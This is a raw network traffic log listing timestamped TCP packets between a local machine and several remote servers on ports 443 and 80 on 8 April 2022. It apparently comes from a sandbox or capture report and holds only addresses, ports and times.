Apr 8, 2022 10:03:05.558706999 CEST4434999823.10.249.43192.168.2.3
Apr 8, 2022 10:03:05.558800936 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.558813095 CEST4434999823.10.249.43192.168.2.3
Apr 8, 2022 10:03:05.558917999 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.561378002 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.561593056 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.562644958 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.562690020 CEST4434999823.10.249.43192.168.2.3
Apr 8, 2022 10:03:05.562700987 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.562763929 CEST49998443192.168.2.323.10.249.43
Apr 8, 2022 10:03:05.826405048 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.826464891 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:05.826559067 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.826744080 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.826766968 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:05.970576048 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:05.970654964 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.971383095 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.971399069 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:05.980727911 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:05.980746031 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:06.136666059 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:06.136734009 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:06.136764050 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:06.136790037 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:06.136825085 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:06.136867046 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:06.140722036 CEST49999443192.168.2.320.82.210.154
Apr 8, 2022 10:03:06.140750885 CEST4434999920.82.210.154192.168.2.3
Apr 8, 2022 10:03:15.186449051 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.186496973 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.186597109 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.187372923 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.187391043 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.309890032 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.310110092 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.313528061 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.313546896 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.314023018 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.315069914 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.315341949 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.315356970 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.315603971 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.346225023 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.346362114 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:15.346437931 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.346570969 CEST50000443192.168.2.320.199.120.151
Apr 8, 2022 10:03:15.346592903 CEST4435000020.199.120.151192.168.2.3
Apr 8, 2022 10:03:23.405167103 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.405246973 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.406044006 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.406956911 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.406995058 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.821140051 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.821293116 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.823255062 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.823277950 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.823601007 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.847167969 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:23.865675926 CEST49709443192.168.2.320.199.120.182
Apr 8, 2022 10:03:23.890269041 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:23.895742893 CEST4434970920.199.120.182192.168.2.3
Apr 8, 2022 10:03:24.036691904 CEST49709443192.168.2.320.199.120.182
Apr 8, 2022 10:03:24.108711004 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.108760118 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.108778954 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.108812094 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.108880043 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.108932972 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.108978033 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.109013081 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.109030962 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.109050035 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.109065056 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.109095097 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.109143019 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.124646902 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.124689102 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.124783993 CEST50001443192.168.2.352.152.110.14
Apr 8, 2022 10:03:24.124800920 CEST4435000152.152.110.14192.168.2.3
Apr 8, 2022 10:03:24.799550056 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:24.799616098 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:24.799730062 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:24.800045967 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:24.800071001 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:24.906790972 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:24.906845093 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:24.906938076 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:24.913096905 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:24.913125038 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.056555986 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.056701899 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.057586908 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.057600021 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.063096046 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.063110113 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.063421965 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.063435078 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.126959085 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.127089024 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.135629892 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.135656118 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.136169910 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.137095928 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.155726910 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.155844927 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.155952930 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.156064987 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.156248093 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.156282902 CEST4435000320.82.210.154192.168.2.3
Apr 8, 2022 10:03:25.156296968 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.156368971 CEST50003443192.168.2.320.82.210.154
Apr 8, 2022 10:03:25.182213068 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347326040 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347376108 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347414017 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347474098 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.347495079 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347512007 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.347568989 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.347604990 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347687006 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.347693920 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347723007 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347767115 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.347815037 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.347882986 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.353075027 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.353113890 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.353135109 CEST50002443192.168.2.352.242.101.226
Apr 8, 2022 10:03:25.353153944 CEST4435000252.242.101.226192.168.2.3
Apr 8, 2022 10:03:25.530724049 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.530791044 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:25.530884981 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.531160116 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.531183958 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:25.934433937 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:25.934633017 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.937488079 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.937529087 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:25.938025951 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:25.939024925 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:25.982279062 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.060036898 CEST804971293.184.220.29192.168.2.3
Apr 8, 2022 10:03:26.060201883 CEST4971280192.168.2.393.184.220.29
Apr 8, 2022 10:03:26.199381113 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.199443102 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.199475050 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.199651957 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.199697971 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.199728966 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.199745893 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.199816942 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.199867010 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.271507025 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.271557093 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.271579027 CEST50004443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.271593094 CEST4435000452.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.343600035 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.343631029 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.343714952 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.343997955 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.344008923 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.685686111 CEST804970893.184.220.29192.168.2.3
Apr 8, 2022 10:03:26.685806036 CEST4970880192.168.2.393.184.220.29
Apr 8, 2022 10:03:26.740314007 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.740422010 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.743027925 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.743046999 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.743417978 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.744393110 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:26.786221981 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:26.934298992 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:26.934350014 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:26.934520960 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:26.935266018 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:26.935290098 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.003752947 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.003845930 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.003885984 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.003998041 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:27.004023075 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.004043102 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.004127026 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.004175901 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:27.004261971 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:27.008470058 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:27.008519888 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.008544922 CEST50005443192.168.2.352.152.110.14
Apr 8, 2022 10:03:27.008564949 CEST4435000552.152.110.14192.168.2.3
Apr 8, 2022 10:03:27.096777916 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.096910000 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.102966070 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.103005886 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.103274107 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.103353977 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.103499889 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.146203995 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.194097996 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.194308043 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.194426060 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.199939966 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.199968100 CEST4435000640.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.199976921 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.200083971 CEST50006443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.201693058 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.201754093 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.201917887 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.202094078 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.202119112 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.215897083 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.215967894 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.216056108 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.217981100 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.218038082 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.326131105 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.326256037 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.326281071 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.326339006 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.351699114 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.352751017 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.353225946 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.353241920 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.355844021 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.355865955 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.425642014 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.425767899 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.425899029 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.426623106 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.426651001 CEST4435000840.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.426668882 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.426731110 CEST50008443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.428666115 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.428735018 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.428824902 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.429033041 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.429061890 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.481663942 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.481702089 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.482356071 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.484436989 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.526251078 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549484015 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549546957 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549668074 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549753904 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.549762964 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549797058 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.549854040 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.549942970 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.577861071 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.579339981 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.580096960 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.580116987 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.581834078 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.581851006 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.594305038 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594408989 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594434977 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594466925 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594516039 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594537973 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594563007 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594625950 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594645023 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594677925 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594724894 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594741106 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.594760895 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.594933033 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.595335007 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.595488071 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.595519066 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.595532894 CEST50007443192.168.2.320.54.110.249
Apr 8, 2022 10:03:27.595545053 CEST4435000720.54.110.249192.168.2.3
Apr 8, 2022 10:03:27.713166952 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.713304996 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.713435888 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.721649885 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.721684933 CEST4435000940.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.721703053 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.721771955 CEST50009443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.723527908 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.723565102 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.723658085 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.723867893 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.723898888 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.742341995 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.742388010 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.743309021 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.743628979 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.743658066 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.870280981 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.870467901 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.870912075 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.870932102 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.872867107 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.872884035 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.885113955 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.885265112 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.888083935 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.888108015 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.888699055 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.892416000 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.934202909 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.950130939 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.950280905 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.950339079 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.950373888 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.950484037 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.950521946 CEST4435001040.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.950553894 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.950871944 CEST50010443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.970649004 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.970707893 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.970798969 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.972827911 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:27.972851038 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:27.980659008 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.980710030 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.980746984 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.980879068 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.980926991 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.980973005 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.980988979 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.980994940 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.981069088 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.981110096 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.983489037 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.983517885 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:27.983532906 CEST50011443192.168.2.320.54.89.106
Apr 8, 2022 10:03:27.983545065 CEST4435001120.54.89.106192.168.2.3
Apr 8, 2022 10:03:28.051836967 CEST50013443192.168.2.352.152.110.14
Apr 8, 2022 10:03:28.051892996 CEST4435001352.152.110.14192.168.2.3
Apr 8, 2022 10:03:28.051979065 CEST50013443192.168.2.352.152.110.14
Apr 8, 2022 10:03:28.053381920 CEST50013443192.168.2.352.152.110.14
Apr 8, 2022 10:03:28.053412914 CEST4435001352.152.110.14192.168.2.3
Apr 8, 2022 10:03:28.120707989 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.121490955 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.122122049 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.122136116 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.124594927 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.124607086 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.201231956 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.201344013 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.201431990 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.201505899 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.201536894 CEST4435001240.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.201550007 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.201616049 CEST50012443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.203362942 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.203433037 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.203552961 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.203742027 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.203774929 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.355034113 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.355185986 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.356549025 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.356586933 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.359657049 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.359678030 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.455833912 CEST4435001352.152.110.14192.168.2.3
Apr 8, 2022 10:03:28.455966949 CEST50013443192.168.2.352.152.110.14
Apr 8, 2022 10:03:28.457554102 CEST50013443192.168.2.352.152.110.14
Apr 8, 2022 10:03:28.457570076 CEST4435001352.152.110.14192.168.2.3
Apr 8, 2022 10:03:28.457601070 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.457699060 CEST50014443192.168.2.340.112.88.60
Apr 8, 2022 10:03:28.457716942 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.457736969 CEST4435001440.112.88.60192.168.2.3
Apr 8, 2022 10:03:28.457760096 CEST50014443192.168.2.340.112.88.60
